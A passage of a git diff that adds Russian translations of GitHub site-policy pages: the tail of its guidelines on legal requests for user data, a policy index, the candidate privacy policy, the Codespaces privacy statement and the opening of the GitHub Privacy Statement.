как посещения страниц и информация, которую иногда добровольно предоставляют наши пользователи (например, общение с нашей службой поддержки, данные опросов и/или регистрации на сайте). + +## Мы уведомим всех затронутых владельцев учетных записей + +Наша политика заключается в том, чтобы уведомлять пользователей о любых ожидающих запросах, касающихся их учетных записей или репозиториев, если только это не запрещено законом или постановлением суда. Прежде чем раскрывать информацию о пользователе, мы приложим разумные усилия, чтобы уведомить всех затронутых владельцев учетных записей, отправив сообщение на их проверенный адрес электронной почты, предоставив им копию повестки в суд, постановление суда или ордер, чтобы у них была возможность оспорить в рамках юридического процесса, если они хотят. В (редких) неотложных обстоятельствах мы можем отложить уведомление, если мы решим, что задержка необходима для предотвращения смерти или серьезного вреда, или в связи с текущим расследованием. + +## Раскрытие непубличной информации + +Наша политика заключается в раскрытии непубличной информации о пользователе в связи с гражданским или уголовным расследованием только с согласия пользователя или после получения действительной повестки в суд, требования гражданского расследования, постановления суда, ордера на обыск или другого подобного законного судебного процесса. В определенных неотложных обстоятельствах (см. ниже) мы также можем предоставлять ограниченную информацию, но только соответствующую характеру обстоятельств, и для чего-либо иного, помимо этого, потребуется юридический процесс. +GitHub оставляет за собой право возражать против любых запросов на непубличную информацию. +Если GitHub соглашается предоставить закрытую информацию в ответ на законный запрос, мы проведем разумный поиск запрошенной информации. +Вот виды информации, которую мы согласимся предоставить, в зависимости от вида судебного процесса, на который мы вызваны: + +- +**С согласия пользователя** — GitHub предоставит информацию о частной учетной записи, если потребуется, непосредственно пользователю (или владельцу, в случае учетной записи организации) или назначенному третьему лицу с письменного согласия пользователя, как только GitHub убедится, что пользователь подтвердил свою личность. + +- +**С повесткой** — Если вручается действительная повестка в суд, требование гражданского расследования или повестка на аналогичный судебный процесс, вынесенный в связи с официальным уголовным или гражданским расследованием, мы можем предоставить определенную непубличную информацию об учетной записи, которая может включать: + + - Имена, связанные с учетной записью + - Адреса электронной почты, связанные с учетной записью + - Данные для выставления счетов + - Дата регистрации и дата прекращения + - IP-адрес, дата и время на момент регистрации учетной записи + - IP-адреса, используемые для доступа к учетной записи в определенное время или событие, имеющее отношение к расследованию + +В случае учетных записей организаций мы можем предоставить имена и адреса электронной почты владельцев учетных записей, а также дату и IP-адрес на момент создания учетной записи организации. Мы не будем предоставлять информацию о других членах или участниках, если таковые имеются, для учетной записи организации или любую дополнительную информацию об идентифицированных владельцах учетной записи без последующего запроса для этих конкретных пользователей. + +Обратите внимание, что доступная информация будет варьироваться от случая к случаю. Некоторая информация не является обязательной для пользователей. В других случаях мы, возможно, не собирали или не сохраняли информацию. + +- +**По решению суда *или* ордеру на обыск** — Мы не будем раскрывать журналы доступа к учетной записи, если только мы не будем вынуждены сделать это (i) по распоряжению суда, вынесенному в соответствии с разделом 18 Свода законов США, параграф 2703(d), при демонстрации конкретных и поддающихся формулировке фактов, свидетельствующих о наличии разумных оснований полагать, что запрошенная информация имеет отношение к текущему уголовному расследованию и имеет существенное значение; или (ii) ордер на обыск, выданный в соответствии с процедурами, описанными в Федеральных правилах уголовного судопроизводства, или эквивалентными процедурами государственного ордера при наличии достаточных оснований. +В дополнение к закрытой информации об учетной записи, указанной выше, мы можем предоставить журналы доступа к учетной записи в ответ на постановление суда или ордер на обыск, которые могут включать: + + - Любые журналы, раскрывающие действия пользователя за определенный период времени + - Настройки учетной записи или частного репозитория (например, какие пользователи имеют определенные разрешения и т. д.) + - Аналитические данные, относящиеся к пользователю или IP-адресу, такие как история посещенных страниц + - Журналы безопасного доступа, кроме создания учетной записи или для определенного времени и даты + +- +**Только с ордером на обыск** — Мы не будем раскрывать личное содержимое любой учетной записи, если только мы не будем вынуждены сделать это в соответствии с ордером на обыск, выданным в соответствии с процедурами, описанными в Федеральных правилах уголовного судопроизводства, или эквивалентными процедурами государственного ордера при наличии вероятной причины. +В дополнение к закрытой информации об учетной записи и журналам доступа к учетной записи, указанными выше, мы также предоставим частный контент учетной записи в ответ на постановление суда или ордер на обыск, которые могут включать: + + - Содержание секретных Источников информации + - Исходный код или другой контент в частных репозиториях + - Записи о вкладе и сотрудничестве для частных репозиториев + - Сообщения или документация (например, проблемы или вики) в частных репозиториях + - Любые ключи безопасности, используемые для аутентификации или шифрования + +- +**В чрезвычайных обстоятельствах** — Если мы получаем запрос на информацию при определенных неотложных обстоятельствах (когда мы считаем, что раскрытие информации необходимо для предотвращения чрезвычайной ситуации, связанной с опасностью смерти или серьезных телесных повреждений человека), мы можем раскрыть ограниченную информацию, которую мы сочтем необходимой для обеспечения правопорядка для устранения чрезвычайной ситуации. Для получения любой другой информации нам потребуется повестка в суд, ордер на обыск или постановление суда, как описано выше. Например, мы не будем раскрывать содержимое частных репозиториев без ордера на обыск. Прежде чем раскрывать информацию, мы подтверждаем, что запрос поступил от правоохранительных органов, орган направил официальное уведомление с кратким изложением чрезвычайной ситуации и тем, как запрошенная информация поможет в устранении чрезвычайной ситуации. + +## Возмещение затрат + +В соответствии с законодательством штата и федеральным законодательством GitHub может требовать возмещения расходов, связанных с соблюдением законных требований, таких как повестка в суд, постановление суда или ордер на обыск. Мы взимаем плату только для возмещения некоторых расходов, и эти возмещения покрывают лишь часть расходов, которые мы фактически несем в связи с выполнением юридических распоряжений. + +Хотя мы не взимаем плату в чрезвычайных ситуациях или в других неотложных обстоятельствах, мы добиваемся возмещения всех других юридических запросов в соответствии со следующим графиком, если иное не требуется по закону: + +- Первоначальный поиск до 25 идентификаторов: Бесплатно +- Производство абонентской информации/данных до 5 учетных записей: Бесплатно +- Производство абонентской информации/данных для более чем 5 учетных записей: 20 долларов США на учетную запись +- Вторичные поиски: 10 долларов США на поиск + +## Сохранение данных + +Мы предпримем шаги для сохранения учетных записей на срок до 90 дней по официальному запросу правоохранительных органов США в связи с официальными уголовными расследованиями и до вынесения судебного постановления или другого процесса. + +## Отправка запросов + +Пожалуйста, отправляйте запросы на: + +``` +GitHub, Inc. +c/o Corporation Service Company +2710 Gateway Oaks Drive, Suite 150N +Sacramento, CA 95833-3505 +``` + +Персонально адресованные копии в списках рассылки можно отправлять на адрес legal-support@github.com. + +Пожалуйста, делайте ваши запросы как можно более конкретными и узкими, включая следующую информацию: + +- Полная информация об органе, выдавшем запрос на информацию +- Имя и бейдж / удостоверение личности ответственного агента +- Официальный адрес электронной почты и контактный телефон +- Интересующие имена пользователя, организации, репозитория +- URL-адреса любых страниц, источников информации или файлов, представляющих интерес +- Описание типов записей, которые вам нужны + +Подождите не менее двух недель, пока мы сможем изучить ваш запрос. + +## Запросы от иностранных правоохранительных органов + +Как американская компания, базирующаяся в Калифорнии, GitHub не обязан предоставлять данные иностранным правительствам в ответ на судебный процесс, начатый иностранными властями. +Должностные лица иностранных правоохранительных органов, желающие запросить информацию у GitHub, должны обратиться в Управление по международным делам Департамента юстиции США по уголовным делам. +GitHub будет оперативно реагировать на запросы, которые направляются через суд США в виде договора о взаимной правовой помощи («MLAT») или судебного поручения. + +## Ответы на вопросы + +У вас есть другие вопросы, комментарии или предложения? Свяжитесь с {% data variables.contact.contact_support %}. diff --git a/translations/ru-RU/content/site-policy/other-site-policies/index.md b/translations/ru-RU/content/site-policy/other-site-policies/index.md new file mode 100644 index 000000000000..2d0d0e320c05 --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/index.md @@ -0,0 +1,22 @@ +--- +title: Другие правила сайта +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - /github-and-trade-controls + - /github-deceased-user-policy + - /github-logo-policy + - /github-government-takedown-policy + - /github-username-policy + - /guidelines-for-legal-requests-of-user-data +ms.openlocfilehash: d4941bb8713cbe38f34b9eadedb4fc1c883d1ebe +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556772' +--- + diff --git a/translations/ru-RU/content/site-policy/privacy-policies/github-candidate-privacy-policy.md b/translations/ru-RU/content/site-policy/privacy-policies/github-candidate-privacy-policy.md new file mode 100644 index 000000000000..cd0f6367bc19 --- /dev/null +++ b/translations/ru-RU/content/site-policy/privacy-policies/github-candidate-privacy-policy.md @@ -0,0 +1,82 @@ +--- +title: Политика конфиденциальности кандидата GitHub +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-candidate-privacy-policy +ms.openlocfilehash: 593cb11bbf5697b2fb1fd7cfe8e32f47d721188d +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556839' +--- +Дата вступления в силу: 8 марта 2021 г. + +В настоящей Политике конфиденциальности кандидата GitHub объясняется, какую информацию мы собираем о вас во время подачи заявки или в процессе найма на работу в GitHub, а также цели, для которых мы собираем и используем эту информацию. + +Для целей этой политики: + +Понятие «Кандидат» включает в себя соискателей и кандидатов, которые участвуют в подаче заявки или процессе найма на GitHub; и + +«Личная информация кандидата» относится к любой информации, которую мы собираем об одном из наших Кандидатов в процессе подачи заявки или найма, которая может отдельно или вместе с другой информацией идентифицировать его лично или иным образом быть обоснованно соотнесена или связана с ним. + +Эта политика не распространяется на использование сервисов GitHub, на которые распространяется наше [Заявление о конфиденциальности GitHub](/github/site-policy/github-privacy-statement). + +## Какую личную информацию о кандидатах мы собираем? + +Личная информация кандидата, которую мы собираем, используем и сохраняем (или «обрабатываем»), может включать в себя среди прочего следующее: + +**Идентификационная и контактная информация**, включая ваше имя, адрес электронной почты, номер телефона, местоположение, профиль GitHub и любая другая информация, которую вы предоставляете (например, рефералы и рекомендации). + +**Национальные идентификаторы**, такие как ваш статус гражданства, вид на жительство и статус разрешения на работу. + +**Трудовая и образовательная история**, например: ваше резюме или CV, сопроводительное письмо, сведения о том, как вы узнали о должности, на которую претендуете, информация о любой предыдущей работе в GitHub или аффилированных лицах GitHub или другая информация, которую вы предоставляете нам в поддержку заявки и/или процесса подачи заявки и найма. + +**Профессиональная информация или информация о занятости**, включая желаемую заработную плату или условия, связанные с льготами, готовность переехать, другие предпочтения в работе, подробности собеседования, справочную информацию и/или информацию, полученную в результате проверки биографических данных (если применимо), а также информацию из общедоступных ресурсов (таких как ваш профиль LinkedIn или веб-сайт). + +**Конфиденциальная или демографическая информация**, такая как ваш пол, медицинская информация или информация о состоянии здоровья, статус ветерана или ваше расовое или этническое происхождение. + +## Как мы используем Личную информацию кандидата, которую мы собираем? + +Мы используем Личную информацию кандидата для следующих целей: + - Чтобы оценить ваши навыки, квалификацию и интересы для возможностей трудоустройства в GitHub; + - Для проверки информации, предоставленной вами или другими лицами, включая проверку ваших рекомендаций; + - Для связи с вами по поводу вашего заявления и процесса найма, в том числе для информирования вас о других потенциальных возможностях трудоустройства в GitHub; + - Чтобы проинформировать реферера о статусе вашего заявления, если вы были направлены; + - Чтобы подготовить письмо с предложением и провести проверку биографических данных (насколько это разрешено применимым правом), если вам предложили должность; + - Чтобы помочь вам в получении иммиграционной визы или разрешения на работу, если вам предложили должность и если вы просите об этом; + - Для соблюдения местных законов, нормативных актов, судебных процессов или обязательных требований правительства; и + - Для подготовки и подачи отчеты в соответствии с требованиями местного законодательства и нормативных актов; + - Для управления и улучшения нашего процесса подачи заявок и найма (например, для повышения эффективности процесса подачи заявок и улучшения нашей практики разнообразия). + +## Как мы передаем вашу Личную информацию кандидата? + +GitHub будет передавать вашу Личную информацию кандидата тем, у кого есть законная деловая потребность в ней. Всякий раз, когда мы разрешаем третьему лицу доступ к вашей Личной информации кандидата, мы обеспечиваем использование этой информации в соответствии с настоящей политикой. Ваша Личная информация кандидата может быть передана нашим аффилированным лицам (например, Microsoft) и другим третьим лицам (например, поставщикам) для следующих целей: +1. Для осуществления описанного выше использования Персональной информации кандидата; +2. Чтобы позволить третьим лицам предоставлять продукты или услуги нам или от нашего имени (например, для облегчения процесса подачи заявки или проведения проверки биографических данных). +3. Для соблюдения наших юридических обязательств, правил или контрактов либо для ответа на постановление суда, административный или судебный процесс (например, повестку в суд, государственный аудит или ордер на обыск), либо в ответ на законные запросы государственных органов (таких как органы национальной безопасности или правоохранительные органы); +4. По мере необходимости для обоснования потенциальных или предстоящих судебных разбирательств, их осуществления или защиты от них; +5. Если это необходимо для защиты GitHub, ваших жизненно важных интересов (например, безопасности) или интересов другого лица; или +6. С вашего согласия (например, для связи с вашими рекомендателями). Вы несете ответственность за получение согласия рекомендателей перед предоставлением их личной информации GitHub. + +## Ваши права на Личную информацию кандидата + +В некоторых местах Кандидаты могут иметь определенные права в соответствии с применимыми местными законами о конфиденциальности (например, Общий регламент по защите персональных данных). Однако независимо от вашего местонахождения мы обеспечиваем одинаковый высокий уровень защиты конфиденциальности для всех наших Кандидатов по всему миру. + +Это включает в себя права запрашивать доступ или исправлять вашу информацию, запрашивать удаление вашей информации, а также возражать против ее использования GitHub или ограничивать ее использование GitHub для определенных целей. + +Вы можете оставить заявку на это, связавшись с privacy@github.com. Мы ответим на все запросы в соответствии с применимыми законами о защите данных. + +## Как долго мы храним вашу Личную информацию кандидата? + +Личная информация кандидата будет храниться в течение одного года после подачи вашей заявки в соответствии с нашими юридическими обязательствами. По истечении этого времени мы свяжемся с вами и попросим вашего согласия на сохранение вашей личной информации, чтобы мы могли рассмотреть вашу кандидатуру для любых будущих вакансий в GitHub. + +Если вас наняли на должность в GitHub, мы сохраним информацию, предоставленную во время подачи заявки и процесса найма, как часть вашей записи о сотруднике. + +## Внесение изменений в эту Политику + +Мы можем время от времени обновлять эту Политику конфиденциальности кандидата GitHub. Когда мы внесем изменения на эту страницу, мы обновим дату «последнего обновления». diff --git a/translations/ru-RU/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md b/translations/ru-RU/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md new file mode 100644 index 000000000000..ed3f5c565d99 --- /dev/null +++ b/translations/ru-RU/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md @@ -0,0 +1,28 @@ +--- +title: Заявление о конфиденциальности GitHub Codespaces +redirect_from: + - /github/site-policy/github-codespaces-privacy-policy + - /github/site-policy/github-codespaces-privacy-statement +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 3ab99523ba017584b85e28b86059d51ba8f0e5ad +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099231' +--- +Дата вступления в силу: 10 августа 2021 г. + +Использование GitHub Codespaces регулируется [Заявлением о конфиденциальности GitHub](/github/site-policy/github-privacy-statement). + +Активность на github.dev регулируется [Условиями для предварительных бета-версий GitHub](/github/site-policy/github-terms-of-service#j-beta-previews) + +## Использование {% data variables.product.prodname_vscode %} + +GitHub Codespaces и github.dev позволяют использовать {% data variables.product.prodname_vscode %} в веб-браузере. При использовании {% data variables.product.prodname_vscode_shortname %} в веб-браузере по умолчанию включен сбор некоторых данных телеметрии. [Подробные сведения см. на веб-сайте {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/getstarted/telemetry). Пользователи могут отказаться от телеметрии, выбрав «Файл» > «Параметры» > «Настройки» в верхнем левом меню. + +Если пользователь решит отказаться от сбора телеметрии в {% data variables.product.prodname_vscode_shortname %}, находясь в среде codespace, как указано, настройка отключения телеметрии будет синхронизирована во всех будущих веб-сеансах в GitHub Codespaces и github.dev. diff --git a/translations/ru-RU/content/site-policy/privacy-policies/github-privacy-statement.md b/translations/ru-RU/content/site-policy/privacy-policies/github-privacy-statement.md new file mode 100644 index 000000000000..4705d1bc0608 --- /dev/null +++ b/translations/ru-RU/content/site-policy/privacy-policies/github-privacy-statement.md @@ -0,0 +1,394 @@ +--- +title: Заявление GitHub о конфиденциальности +redirect_from: + - /privacy + - /privacy-policy + - /privacy-statement + - /github-privacy-policy + - /articles/github-privacy-policy + - /articles/github-privacy-statement + - /github/site-policy/github-privacy-statement +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: d8115f14884bf80b64a1f563b1c08ce37691a607 +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858663' +--- +Дата вступления в силу: 1 сентября 2022 г. + +Благодарим за то, что доверяете GitHub Inc. или GitHub B.V. ("GitHub", "мы", "нас" или "наше") свой исходный код, проекты и личные данные. В этом Заявлении о конфиденциальности описываются наши практики относительно сбора, использования и раскрытия ваших данных, в том числе любых личных данных, которые мы собираем и обрабатываем через наш веб-сайт и любые приложения, программное обеспечение, продукты и услуги, предоставляемые GitHub, в том числе через предварительные бета-версии (в совокупности "Служба"). + + +Все термины с заглавной буквы имеют свое определение в [Условиях обслуживания GitHub](/github/site-policy/github-terms-of-service), если здесь не указано иное. + + +## Короткая версия + +Мы используем вашу персональную информацию так, как описано в настоящем Заявлении о конфиденциальности. Независимо от того, где вы находитесь, где вы живете или какое у вас гражданство, мы обеспечиваем одинаково высокий уровень защиты конфиденциальности при использовании продуктов GitHub для всех наших пользователей по всему миру, независимо от их страны происхождения или местонахождения. + +Чтобы просмотреть Уведомление о конфиденциальности для жителей штата Калифорния (США), перейдите к [Уведомлению GitHub о Законе штата Калифорния о конфиденциальности потребителей](#githubs-notice-to-california-residents) или прокрутите вниз. + + +## Сводная информация + +| Раздел | Что вы можете там найти? | +|---|---| +| [Кто несет ответственность за обработку вашей информации](#who-is-responsible-for-the-processing-of-your-information) | Если вы находитесь в Северной Америке, контролирующим лицом и организацией, ответственной за обработку ваших личных данных при использовании Веб-сайта или Службы, является GitHub (за некоторыми исключениями). Для лиц за пределами Северной Америки таким контролирующим лицом является компания GitHub B.V. | +| [Какую информацию собирает GitHub](#what-information-github-collects) | GitHub собирает информацию непосредственно от вас для вашей регистрации, оплаты, транзакций и профиля пользователя. Мы также автоматически собираем у вас информацию об использовании, файлы cookie и информацию об устройстве, если это необходимо, с вашего согласия. GitHub также может собирать личные данные от третьих лиц. Мы собираем минимально необходимый объем личных данных, если вы только не решите предоставлять дополнительные данные.| +| [Как GitHub использует вашу информацию](#how-github-uses-your-information) | В этом разделе мы описываем способы использования вашей информации, в том числе для предоставления вам Службы, для связи с вами, в целях безопасности и соответствия требованиям, а также для улучшения нашего Веб-сайта или Службы либо разработки новых компонентов и функций для них. Мы также описываем правовую основу, на основании которой мы обрабатываем вашу информацию, если это требуется по закону. | +| [Как мы делимся информацией, которую собираем](#how-we-share-the-information-we-collect) | Мы можем передавать вашу информацию третьим лицам при одном из следующих обстоятельств: с вашего согласия, с нашими поставщиками услуг, в целях безопасности, для выполнения наших юридических обязательств или при смене контроля или продаже юридических лиц или бизнес-единиц. Мы не продаем вашу личную информацию и не размещаем рекламу на GitHub. | +| [Возможности выбора относительно обработки нами ваших личных данных](#your-choices-regarding-our-processing-of-your-personal-data) | Мы предоставляем вам способы доступа, изменения или удаления вашей персональной информации. | +| [Файлы "cookie"](#cookies) | За исключением файлов cookie, используемых на наших Страницах корпоративного маркетинга, мы используем только строго обязательные файлы cookie для предоставления, защиты и улучшения нашего Веб-сайта или Службы либо разработки новых компонентов и функций для нашего Веб-сайта или Службы.

Как описано ниже, мы можем использовать необязательные файлы cookie на определенных страницах нашего веб-сайта для поддержки мероприятий корпоративного маркетинга и продвижения наших продуктов и услуг среди корпоративных клиентов, например на resources.github.com (в совокупности "Страницы корпоративного маркетинга").

На этой [странице](https://github.com/privacy/cookies) прозрачно и подробно описано использование файлов cookie. | +| [Как GitHub защищает вашу информацию](#how-github-secures-your-information) | Мы принимаем все разумно необходимые меры для защиты конфиденциальности, целостности и доступности ваших личных данных на GitHub, а также для поддержания отказоустойчивости наших серверов. | +| [Настройки коммуникаций](#communication-preferences) | Мы общаемся с вами по электронной почте. Вы можете контролировать, как мы связываемся с вами, в настройках вашей учетной записи или связавшись с нами. | +| [Разрешение жалоб](#resolving-complaints) | В том маловероятном случае, если мы не сможем быстро и тщательно решить проблему конфиденциальности, мы предложим способ разрешения спора. | +| [ Изменения в нашем Заявлении о конфиденциальности](#changes-to-our-privacy-statement) | Мы уведомляем вас о существенных изменениях настоящего Заявления о конфиденциальности за 30 дней до того, как такие изменения вступят в силу. Вы также можете отслеживать изменения в нашем репозитории политики сайта. | +| [Лицензия](#license) | Настоящее Заявление о конфиденциальности распространяется под [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). | +| [Связь с GitHub](#contacting-github) | Пожалуйста, не стесняйтесь обращаться к нам, если у вас есть вопросы о нашем Заявлении о конфиденциальности. | +| [Переводы](#translations) | Мы предоставляем ссылки на некоторые переводы Заявления о конфиденциальности. | + +## Заявление GitHub о конфиденциальности + +## Кто несет ответственность за обработку вашей информации? +Контроллером ваших личных данных является корпорация GitHub, Inc. Контроллером данных лиц за пределами Северной Америки является GitHub B.V. + +Это заявление о конфиденциальности не применяется к личным данным, которые мы обрабатываем в качестве поставщика услуг или обработчика данных от имени наших корпоративных клиентов. Наши действия по обработке данных в качестве поставщика услуг или обработчика данных управляются нашим [Соглашением о защите данных](https://github.com/customer-terms/github-data-protection-agreement). Если вы являетесь пользователем-потребителей одной из таких организаций, изучите ее заявление о конфиденциальности и направляйте все запросы касательно конфиденциальности именно ей. + +## Действия GitHub от вашего имени + +В некоторых случаях GitHub может от вашего имени выполнять действия над вашими личными данными, которые мы собираем и обрабатываем при использовании вами Службы (например, над личными данными, добавленными в репозиторий его участниками). В таких случаях GitHub обрабатывает данные только для предоставления запрошенной вами Службы. Обратите внимание, что согласно нашей [Политикой удаления личной информации](/site-policy/content-removal-policies/github-private-information-removal-policy) запросы участников на удаление личных данных обычно требуют уведомления владельца репозитория и действий с его стороны. + +## Какую информацию собирает GitHub + +То, какие личные данные мы будем собирать, зависит от ваших способов взаимодействия с нами, используемых вами услуг и сделанных вами выборов. Мы собираем сведения о вас из разных источников и разными способами при использовании вами нашей Службы. К таким сведениям относится предоставленная вами напрямую информация, собираемая автоматически информация, сведения из сторонних источников данных и данные, которые мы выводим или создаем на основе других данных. + + +### Информация, которую пользователи предоставляют напрямую GitHub +Мы собираем личные данные, которые вы предоставляете нам. Пример: + +#### Регистрационные сведения +При создании учетной записи мы собираем такую информацию, как имя пользователя, адрес электронной почты и пароль. + +#### Демографические сведения +В некоторых случаях мы просим предоставить сведения о возрасте, гендере и другие демографические данные. + +#### Данные для оплаты и выставления счетов +Если вы осуществляете покупку или другую финансовую транзакцию, мы собираем номера кредитных карт, сведения о финансовом счете и другие данные об оплате. + +#### Содержимое и файлы +Мы собираем все фотографии, документы или другие файлы, которые вы отправляете при использовании нашей Службы. Если вы отправляете сообщения электронной почты или сообщения других типов, мы также собираем и храним их. Например, вы можете предоставить нам дополнительную информацию о своем профиле Учетной записи, такую как ваше полное имя, аватар, который может включать фотографию, факты вашей жизни, ваше местоположение, вашу компанию и URL-адрес стороннего веб-сайта. Обратите внимание, что информация вашего профиля может быть видна другим Пользователям нашего Сервиса. + +### Информация, которую GitHub собирает автоматически +Мы автоматически собираем некоторые сведения при посещении или использовании вами нашей Службы. Пример: + +#### Сведения о транзакциях +Если у вас есть наша платная Учетная запись или если вы осуществляете покупку или продажу через нашу Службу, мы автоматически собираем определенную информацию о транзакциях в Службе, такую как полное имя, адрес, регион, область, страна, почтовый индекс, дата, время и сумма платежа. + +#### Информация об использовании +Если вы получаете доступ к нашей Службе или используете ее, мы можем автоматически собирать сведения о том, как вы используете Службу, такие как просматриваемые страницы, ссылающийся сайт, ваш IP-адрес и информация о вашем устройстве, информация о сеансе, дата и время каждого запроса, информация, содержащаяся в ваших вкладах в отдельных репозиториях или связанная с ними, а также данные телеметрии (то есть сведения о работе определенной функции или службы) касательно использования вами других компонентов и функций Службы. + +#### Использование файлов cookie +Как описано ниже, мы автоматически собираем сведения из файлов cookie (такие как ИД и параметры файлов cookie), связанных с нашей Службой. + +#### Информация об устройстве +Мы можем собирать информацию о вашем устройстве, такую как его IP-адрес, информацию о браузере или клиентском приложении, предпочитаемый язык, версию операционной системы и приложения, тип и идентификатор устройства, а также модель и производитель устройства. + +#### Геолокационная информация +Для определенных компонентов и в зависимости от используемых вами функций Службы мы собираем геолокационные сведения, такие как IP-адреса или сведения о расположении, которые вы решили указать в своем профиле Учетной записи. + +### Создаваемая нами информация +Мы выводим новую информацию из других собираемых данных (в том числе собираемых автоматически) для создания сведений о ваших вероятных предпочтениях или других характеристиках ("выведенные сведения"). Например, мы выводим данные об общем географическом расположении (город, область и страна) на основе вашего IP-адреса. + +### Информация, которую мы собираем от третьих лиц + +Другие компании, с которыми вы взаимодействуете. GitHub также может собирать личные данные пользователей от третьих лиц. Например, это может произойти, если вы зарегистрируетесь на обучение или получите информацию о GitHub от одного из наших поставщиков, партнеров или аффилированных лиц. GitHub не приобретает личные данные у сторонних брокеров данных. + +Поставщики услуг. Мы также можем получать информацию от обработчиков или поставщиков услуг, которые обрабатывают данные от нашего имени, например систем обработки платежей, которые обрабатывают сведения о платежах и выставлении счетов для нашей Службы. + +Содержимое, размещаемое вами в нашей Службе. Информация, которую вы храните или добавляете в общедоступный репозиторий и которую вы предоставляете для функции сообщества или иным образом делаете общедоступной через Службу, будет собираться GitHub в соответствии с этим Заявлением о конфиденциальности. Такие сведения также могут быть доступны сообществу пользователей GitHub и публике в целом. Дополнительные сведения об общедоступных репозиториях и компонентах сообщества см. [здесь](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile). + +Партнеры по кобрендингу и маркетингу. Мы можем получать информацию от партнеров, совместно с которыми мы предлагаем услуги по кобрендингу или ведем маркетинговую деятельность. + +Общедоступные источники. Мы можем получать сведения также из общедоступных источников, таких как репозитории GitHub. + +При получении запроса на предоставление личных данных вы можете отказаться. Кроме того, вы можете использовать элементы управления в браузере или операционной системе, чтобы заблокировать автоматический сбор данных определенного типа. Но если вы выберете не предоставлять или разрешать сведения, которые необходимы для определенных услуг или функций, они будут недоступны или не будут предоставлять все возможности. + +## Как GitHub использует вашу информацию +Мы можем использовать вашу информацию для предоставления, назначения, анализа, администрирования и эксплуатации нашей Службы. Например, мы используем вашу информацию для следующих целей: +- Предоставление продуктов и услуг, в том числе для устранения неполадок, улучшения и персонализации функций Службы. +- Бизнес-операции, такие как выставление счетов, ведение финансовой отчетности, улучшение наших внутренних операций, защита наших систем, обнаружение мошеннических или незаконных действий и выполнение юридических обязательств. +- Улучшение и разработка наших продуктов и услуг, в том числе для разработки новых услуг или функций, а также проведение исследований. +- Персонализация нашей Службы путем получения сведений о вас и ваших предпочтениях для повышения удобства вашей работы и удовлетворенности от использования Службы. +- Предоставление поддержки для клиентов и ответов на ваши вопросы. +- Рассылка рекламных материалов о новых услугах, функциях, предложениях, промоакциях и других сведений о нашей Службе. +- Персонализация и оценка эффективности отображаемой корпоративной бизнес-рекламы, получаемых вами уведомлений об акциях или маркетинговых материалов, связанных со Страницами корпоративного маркетинга. +- Отправка вам информации, в том числе подтверждений, счетов, технических уведомлений, обновлений, оповещений безопасности, сообщений поддержки и административных сообщений. + +Мы объединяем данные, собираемые из разных источников, для этих целей и предоставляем вам оптимизированные, согласованные и персонализированные возможности. + +## Как мы делимся информацией, которую собираем + +Мы предоставляем доступ к вашим личным данным описанными ниже способами, в том числе с вашего согласия или при необходимости для выполнения транзакций либо предоставления запрошенных или разрешенных вами услуг. Кроме того, мы можем предоставлять доступ к описанным выше категориям ваших личных данных приведенным ниже третьим лицам для следующих бизнес-целей: + +### Общедоступная информация +Вы можете выбрать варианты, доступные в нашей Службе, для отображения и публикации вашего имени и (или) имени пользователя и определенных других сведений, таких как профиль, демографические данные, содержимое и файлы, а также геолокационные данные. Например, если вы хотите, чтобы ваш адрес электронной почты оставался закрытым, даже когда вы комментируете общедоступные репозитории, [вы можете настроить закрытость своей электронной почты в своем профиле пользователя](https://github.com/settings/emails). Вы также можете [обновить свою локальную конфигурацию Git, чтобы использовать свой личный адрес электронной почты](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). Дополнительные сведения об адресах электронной почты см. в сообщениях о коммитах [здесь](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). + +Обратите внимание, что если вы хотите собирать данные GitHub, вы должны соблюдать наши [Условия обслуживания](/site-policy/github-terms/github-terms-of-service) в отношении использования информации и конфиденциальности. Вам разрешается использовать любую общедоступную личную информацию, которую вы собираете, только для той цели, для которой пользователь предоставил свое согласие. Например, если пользователь GitHub сделал адрес электронной почты общедоступным для целей идентификации и определения авторства, не используйте этот адрес электронной почты для отправки нежелательных электронных писем пользователям или продажи личных сведений пользователя, например рекрутерам, хедхантерам и агентствам по трудоустройству или для коммерческой рекламы. Мы ожидаем от вас, что вы будете соответствующим образом защищать информацию, собранную на GitHub, и будете незамедлительно реагировать на жалобы, запросы на удаление и запросы "прекращения связи" от GitHub или других пользователей GitHub. + +### Сторонние приложения +Мы предоставляем ваши личные данные третьим лицам в тех случаях, когда вы сами просите нас об этом. Например, если вы покупаете приложение, размещенное на нашем Marketplace, мы передаем ваше имя пользователя, чтобы разработчик приложения мог предоставить вам услуги. Кроме того, своими действиями на GitHub вы можете дать нам указание передать ваши личные данные. Например, если вы присоединяетесь к Организации, вы выражаете готовность предоставить владельцу Организации возможность просматривать вашу активность в журнале доступа Организации. + +Вы можете включить или добавить в свою Учетную запись сторонние приложения, называемые "Продуктами разработчиков". Эти Продукты разработчиков не являются обязательными для использования вами GitHub. Мы будем передавать ваши личные данные таким сторонним приложениям, если вы попросите нас об этом. Но ответственность за использование сторонних Продуктов разработчиков и объем личных данных, который будет предоставлен им, лежит на вас. Вы можете проверить нашу [документацию по API](/rest/reference/users), чтобы увидеть, какая информация предоставляется при 